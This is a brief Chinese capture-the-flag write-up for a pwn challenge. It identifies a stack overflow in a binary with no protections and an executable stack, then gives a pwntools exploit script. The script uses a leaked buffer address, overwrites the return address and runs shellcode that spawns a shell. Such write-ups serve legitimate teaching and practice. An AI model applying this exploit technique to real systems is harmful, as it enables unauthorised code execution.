题目链接
checksec 看一下:
没有保护。
IDA 反汇编看一下:
可以栈溢出。
没有 system 函数。
gdb vmmap 看一下栈是可执行的:
可以把 shellcode 放在返回地址之后,然后把返回地址指向 shellcode。
exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * import re
context.arch = 'amd64'
p = process("./pwn")
buf_addr = p.recvuntil("]") buf_addr = int(buf_addr[-15: -1], 16) shellcode_addr = buf_addr + 32
shellcode = asm(shellcraft.sh())
payload = b'a' * 24 + p64(shellcode_addr) + shellcode p.recv() p.sendline(payload) p.interactive()
|